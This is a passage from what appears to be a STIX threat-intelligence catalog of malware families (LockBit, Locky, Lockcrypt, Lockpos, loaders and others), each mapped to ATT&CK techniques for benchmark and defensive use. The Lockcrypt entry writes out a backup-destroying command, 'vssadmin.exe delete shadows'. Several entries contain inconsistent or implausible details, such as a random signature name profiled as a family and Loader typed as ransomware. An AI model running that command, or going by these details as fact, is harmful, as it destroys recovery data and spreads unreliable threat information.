      "description": "<h3>Executive Summary</h3>\n\"Lmkfrhivlcfba\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Lmkfrhivlcfba\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Lmkfrhivlcfba",
        "Heur.Lmkfrhivlcfba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lmkfrhivlcfba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lmkfrhivlcfba"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe2a9cac-7767-5ff9-950b-37f7b6652bc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efbb164c-2afb-58f4-a3b9-eaac4ee65ca4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmkfrhivlcfba exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39163cef-05d4-57c2-85ce-2253e810828c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efbb164c-2afb-58f4-a3b9-eaac4ee65ca4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmkfrhivlcfba exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26783050-57d7-5224-a21d-557c4868db79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--efbb164c-2afb-58f4-a3b9-eaac4ee65ca4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmkfrhivlcfba exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96e356e0-e8a1-54d0-846a-d2d41a7d4ffb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loader",
      "description": "Trojan:Win32/Loader (or generic **Loader / Downloader** heuristics) represents the foundational building block of the modern cybercrime ecosystem. A Loader is a specialized, lightweight piece of malware whose sole purpose is to securely bypass perimeter defenses, establish a foothold, and download the 'heavy' secondary payloads (like ransomware, infostealers, or botnet modules) from a remote Command and Control (C2) server.<br><br><b>Understanding Loaders</b><br>To a victim, the execution of a Loader is completely invisible. For a security analyst, a Loader detection indicates a critical breach of the perimeter. Cybercriminal syndicates often specialize; 'Initial Access Brokers' develop and distribute Loaders, and then sell the access (the ability to trigger the download) to ransomware affiliates. Famous examples of advanced Loaders include Emotet, Qakbot, and IcedID.<br><br><b>Execution and Evasion Strategies</b><br>Loaders are the primary payload of phishing campaigns (`T1566.001`), often embedded in weaponized Office documents (macros) or smuggled inside ISO/IMG files to bypass Mark-of-the-Web (MotW) protections. Upon execution (`T1204.002`), the Loader performs environment checks (`T1497.001`) to ensure it isn't in a malware sandbox. If the environment is 'clean', it establishes basic persistence (e.g., a simple Scheduled Task) (`T1053.005`). It then decrypts a hardcoded list of C2 URLs and initiates an encrypted HTTPS connection (`T1071.001`). It profiles the infected machine (OS version, domain joined status) and sends this telemetry to the C2. Finally, it receives, decrypts, and executes (`T1105`) the final payload, often injecting it directly into memory (`T1055`) to avoid writing the heavily-signatured ransomware to disk.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on what the Loader is instructed to download. The primary IoCs are network-based: an unexpected, unsigned executable making beaconing HTTPS connections to unknown, newly registered domains or compromised WordPress sites. Host-based IoCs include EDR alerts for 'Suspicious Process Injection' originating from a file recently downloaded to the `%Temp%` directory. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76615bb1-83e4-5d94-8961-343e4b2a1a86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e356e0-e8a1-54d0-846a-d2d41a7d4ffb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loader exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80aad6b3-6e81-538c-8ef1-904b3d3858ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e356e0-e8a1-54d0-846a-d2d41a7d4ffb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loader exhibits technique T1055 (Process Injection (Executing the payload in memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edc0c4a7-a00d-513b-af9c-679b0a63128b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e356e0-e8a1-54d0-846a-d2d41a7d4ffb",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loader exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f0d8b6d-633f-5609-923d-1aafaaff0b66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96e356e0-e8a1-54d0-846a-d2d41a7d4ffb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loadmoney",
      "description": "LoadMoney (cataloged across cybersecurity vendors as Adware:Win32/LoadMoney, PUA:Win32/LoadMoney, and PUP.Optional.LoadMoney) is a Russian-origin pay-per-install (PPI) software monetization platform and adware distribution wrapper. Designed to monetize freeware distribution networks, LoadMoney packages legitimate third-party software, media files, and utilities within a deceptive multi-tier downloader client. When executed, the LoadMoney wrapper connects to monetization servers, obfuscates the true payload download behind aggressive advertising dialogs, forcefully installs browser extensions and search redirectors, and drops secondary adware components onto the victim's machine to generate fraudulent advertising revenue. (Observed samples in benchmark: 398)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/LoadMoney",
        "PUA:Win32/LoadMoney",
        "PUP.Optional.LoadMoney",
        "Win32/LoadMoney.Downloader",
        "LoadMoney.PPI"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loadmoney",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loadmoney"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99a28ad0-3c4e-5dd7-a637-39c04a69d538",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loadmoney exhibits technique T1566.002 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ab2c4d7-0c14-5751-8f06-3a8f05ccc39e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loadmoney exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c43121ba-90ce-592c-a91c-a95098d7c321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loadmoney exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--254f8686-11bc-5c1a-9ce8-337300f480f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loadmoney exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64db826e-ca0e-52d7-926f-83638825b199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6369c24f-ae7d-582b-ae02-7d0f142d6abc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loadmoney exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e5da3be-b645-569e-ba53-cb40f8cc17cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lockbit",
      "description": "LockBit (first identified in September 2019 as 'ABCD' ransomware) is the most prolific, industrialized Ransomware-as-a-Service (RaaS) operation in cybersecurity history, responsible for thousands of attacks across healthcare, government, manufacturing, and critical infrastructure worldwide. Operated by a threat syndicate known as LockBitSupp, the malware evolved through major technical generations: LockBit 1.0 (ABCD), LockBit 2.0 (LockBit Red), and LockBit 3.0 (LockBit Black), which incorporated leaked source code from the Babuk ransomware framework. LockBit engineered unprecedented encryption speeds: utilizing multi-threaded asynchronous I/O with AES-GCM and ChaCha20 encryption, LockBit can encrypt an entire enterprise workstation in under four minutes. LockBit pioneered automated self-propagation across Windows enterprise domains: upon gaining Domain Administrator credentials, the binary automatically generates and deploys Active Directory Group Policy Objects (GPOs) to disable Windows Defender and execute the ransomware across all domain-joined computers simultaneously. Furthermore, LockBit integrates a customized proprietary data-theft tool named 'StealBit' that exfiltrates multi-gigabyte document repositories directly to attacker servers before encryption for double extortion. In February 2024, an international law enforcement task force comprising the FBI, UK National Crime Agency (NCA), and Europol executed Operation Cronos, seizing LockBit's primary dark web portal, infrastructure, and decryptor keys, followed by CISA Advisory AA23-165A detailing LockBit mitigation guidance. (Observed samples in benchmark: 340)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "LockBit 3.0",
        "LockBit Black",
        "LockBit 2.0",
        "LockBit Red",
        "ABCD Ransomware",
        "Trojan.Ransom.LockBit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lockbit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lockbit"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA23-165A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0d797706-c55d-57de-8e67-0a8f46ff437c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lockcrypt",
      "description": "Ransomware:Win32/Lockcrypt is a destructive ransomware family that encrypts user data and demands payment for the decryption key. Unlike 'spray-and-pray' ransomware distributed via massive spam campaigns, Lockcrypt is frequently deployed manually by attackers who have already compromised the target network, often via brute-forced RDP (Remote Desktop Protocol) connections (`T1133`).<br><br><b>Understanding Lockcrypt</b><br>To an end-user, Lockcrypt is devastating; their files become inaccessible, their extensions are altered (often to `.lock`), and a ransom note appears on the desktop demanding cryptocurrency. For an incident response team, a Lockcrypt infection signifies a total breach of the network perimeter. The attackers had interactive access, navigated the network, likely escalated privileges, and manually executed the ransomware payload across multiple systems simultaneously (`T1486`).<br><br><b>Execution and Encryption Mechanics</b><br>Initial access is often achieved by scanning the internet for exposed RDP ports (TCP 3389) and brute-forcing weak credentials (`T1110.001`). Once inside, the attackers disable endpoint security tools (`T1562.001`) and use tools like PsExec to distribute the Lockcrypt payload. Upon execution, Lockcrypt terminates processes associated with databases (SQL, Exchange) to ensure those files are unlocked and available for encryption (`T1489`). It deletes Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) to prevent easy recovery. It then encrypts files using strong cryptography, appending a specific extension to the locked files, and drops a ransom note (e.g., `Restore_Files.txt`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the complete loss of data availability and severe business disruption. Host-based IoCs include the presence of the encrypted files, the ransom note, event logs showing the deletion of Shadow Copies, and EDR alerts for the manual execution of the ransomware binary (often from a temp directory or desktop). Network IoCs are critical for tracing the initial access: look for massive amounts of failed RDP login attempts followed by a successful login from a foreign IP address. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lockcrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lockcrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ecdd7f-88e5-54df-94c7-ca7dae65bcee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d797706-c55d-57de-8e67-0a8f46ff437c",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockcrypt exhibits technique T1486 (Data Encrypted for Impact (The core ransomware behavior))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41e4982e-696b-58b5-bb34-f60c6f3d19ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d797706-c55d-57de-8e67-0a8f46ff437c",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockcrypt exhibits technique T1133 (External Remote Services (Initial access via compromised RDP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b3bb2c7-fa93-5b1e-b131-0cb6850143b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d797706-c55d-57de-8e67-0a8f46ff437c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockcrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ab123f0-da11-5b2f-b08c-22bd0460630c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d797706-c55d-57de-8e67-0a8f46ff437c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockcrypt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Manually disabling AV before execution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f11b23df-5f9e-592d-9f5b-c9663f869cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lockpos",
      "description": "Trojan:Win32/Lockpos is a highly specialized InfoStealer designed with a singular focus: the theft of credit card and payment data from Point-of-Sale (PoS) systems, hospitality networks, and e-commerce endpoints. The name relates to its target (PoS systems) and its objective to lock onto valuable financial data (`T1005`).<br><br><b>Understanding Lockpos (PoS/Credit Card Stealers)</b><br>To an end-user or cashier, the infection is entirely invisible; the PoS terminal functions normally. For a business, Lockpos represents a catastrophic data breach leading to massive PCI-DSS compliance fines, reputational destruction, and financial liability as customer cards are cloned and abused.<br><br><b>Execution and Extraction Mechanics</b><br>Lockpos is typically deployed after an attacker has breached a corporate network (often via exposed RDP or weak vendor credentials) and pivoted to the isolated PoS VLAN. Upon execution, it establishes stealthy persistence (e.g., as a hidden Windows Service). Its primary mechanism is 'RAM Scraping' (`T1005`). It continuously scans the volatile memory (RAM) of running processes (like the POS application itself, e.g., `pos.exe`) looking for Track 1 and Track 2 magnetic stripe data. Before exfiltrating the data, it frequently validates the scraped numbers, discarding junk data to keep its exfiltration footprint minimal (`T1041`). It often injects itself into `explorer.exe` to hide its network traffic.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the mass compromise of customer financial data. Host-based IoCs include EDR alerts for anomalous processes constantly calling `ReadProcessMemory` against legitimate PoS applications, and the creation of hidden, encrypted staging files in `%Temp%` containing the validated card data. Network IoCs include a 'beacon' or exfiltration burst over HTTP/HTTPS, DNS tunneling, or ICMP to a C2 server, occurring at regular intervals or at the end of the business day. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lockpos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lockpos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f51efb4-9996-56f2-b46d-9dfb4d76201a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f11b23df-5f9e-592d-9f5b-c9663f869cda",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockpos exhibits technique T1005 (Data from Local System: RAM Scraping (Continuously scanning memory for credit card data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6df70db-b01e-50a5-b506-6c3cf7798d9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f11b23df-5f9e-592d-9f5b-c9663f869cda",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockpos exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the validated Track 1/2 data to the attacker))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--043b7a86-e111-5140-b790-89be733050a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f11b23df-5f9e-592d-9f5b-c9663f869cda",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lockpos exhibits technique T1055 (Process Injection (Injecting into explorer.exe to mask exfiltration traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe7dc864-d035-577a-853c-bb9d6000ce15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lockscreen",
      "description": "LockScreen (classified across security telemetries under signatures including Ransom:Win32/LockScreen, Trojan-Ransom.Win32.LockScreen, and Trojan.LockScreen) is an extortion screen-locker ransomware threat active since 2011. Typically delivered through drive-by downloads on compromised web pages and trojanized video codecs, LockScreen focuses on immediate denial of system usability. Upon execution, it modifies the Windows Shell registry value (HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell) to replace explorer.exe with its own binary. It disables the Windows Task Manager, Registry Editor, and Command Prompt, rendering the desktop inaccessible and displaying an unclosable full-screen alert. The extortion notice frequently impersonates law enforcement agencies (such as the FBI, Interpol, or local police), accusing the victim of viewing illicit content and demanding fine payments via prepaid cards or cryptocurrency. (Observed samples in benchmark: 27)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/LockScreen",
        "Trojan-Ransom.Win32.LockScreen",
        "Trojan.LockScreen",
        "Win32/LockScreen",
        "Ransom:Win32/LockScreen.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lockscreen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lockscreen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Locky",
      "description": "Locky is one of the most prolific, damaging, and aggressively distributed ransomware strains in cyber history, first emerging in February 2016. Associated with the Russian-speaking syndicate behind the Dridex banking trojan (Evil Corp) and distributed at unprecedented scale via the Necurs spam botnet, Locky compromised hundreds of thousands of corporate and public sector networks worldwide by bombarding global email gateways with tens of millions of malicious attachments daily.\n\nLocky gained international notoriety in February 2016 when an infection paralyzed the Hollywood Presbyterian Medical Center in Los Angeles, locking emergency room electronic health records, radiation therapy devices, and lab databases, forcing hospital staff to declare an internal disaster and revert to paper records for over a week. Locky utilized an embedded RSA-2048 public key to securely encapsulate a randomly generated local AES-128 key. Over its two-year operational lifecycle, Locky cycled through numerous iconic file extensions\u2014including `.locky`, `.zepto`, `.odin`, `.thor`, `.aesir`, `.osiris`, `.diablo6`, and `.lukitus`\u2014evading signature detection through constant crypter and transport mutations. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Locky",
        "Ransom.Locky",
        "Win32/Locky",
        "Trojan-Ransom.Win32.Locky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Locky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/locky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--822f3dab-e61f-512e-a114-10e991314bef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8ffee19-be70-5de5-aeb6-65a2a54dd83c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--502ddf25-287a-5b51-b522-7ae3e4260378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a04416e8-ec8a-5b64-aeea-dc448a544ee8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8575170-f464-51dd-97fd-737814b22660",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Locky exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37517c41-dc58-5836-b404-e3ee4a225e52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
